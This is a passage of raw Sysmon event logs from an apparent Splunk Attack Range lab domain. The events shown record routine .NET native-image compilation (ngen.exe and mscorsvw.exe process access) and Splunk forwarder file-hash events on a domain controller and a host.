14:45:08.697{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F74-613B-FA09-00000000F001}4952C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.507{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6B4F3FB1073268750A43503743BAD06B,SHA256=3A8FE05400227FA2505AF1C2FBFDAED2DDDF7393DEAC8EA58EC8E24FBBC4EAE2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.470{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F74-613B-F909-00000000F001}5824C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.456{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F74-613B-F909-00000000F001}5824C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.456{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F74-613B-F909-00000000F001}5824C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000044947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:08.376{7BD73061-6F73-613B-F809-00000000F001}5532C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\159c-0\Microsoft.Office.Tools.Word.Implementation.dll2021-09-10 14:45:08.376 23542300x800000000000000044946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.119{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C4F6CF8D2E3F396B78556D5D281EEA10,SHA256=8DFB61011E7DBB0C63E512C7A2A4F641CD137CEDE38B70D11112B2D49E3FFEA0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013989Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:09.759{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F911E124E19EC9C9B27D86EFC385C6AE,SHA256=DBA4CC8788FBAD28399F235C5927CDA5523642DA7B171BEF6D440E090445570E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.875{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F75-613B-020A-00000000F001}5556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.854{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F75-613B-020A-00000000F001}5556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.854{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F75-613B-020A-00000000F001}5556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.728{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-6E01-613B-E106-00000000F001}7104C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.698{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=21DFFA4A1FAE65650F1A38FC650782F8,SHA256=817916C9D15533652548B432A88F1E32ABC8314CE1FF4A5108796B10DBA825C1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.638{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F75-613B-010A-00000000F001}6264C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.618{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F75-613B-010A-00000000F001}6264C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.618{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F75-613B-010A-00000000F001}6264C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.538{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F75-613B-000A-00000000F001}4264C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.518{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F75-613B-000A-00000000F001}4264C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.518{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F75-613B-000A-00000000F001}4264C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.448{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F75-613B-FF09-00000000F001}6756C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.428{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F75-613B-FF09-00000000F001}6756C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.428{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F75-613B-FF09-00000000F001}6756C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.358{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F75-613B-FE09-00000000F001}6656C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.328{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F75-613B-FE09-00000000F001}6656C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.328{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F75-613B-FE09-00000000F001}6656C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.147{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8E0585B9509715F79889564A18121206,SHA256=AECCA1E12CAF8D315ADA1B76CD2FDB478111F4CF4D1E371337B5EBDDD653C62A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.147{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F75-613B-FD09-00000000F001}5320C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Window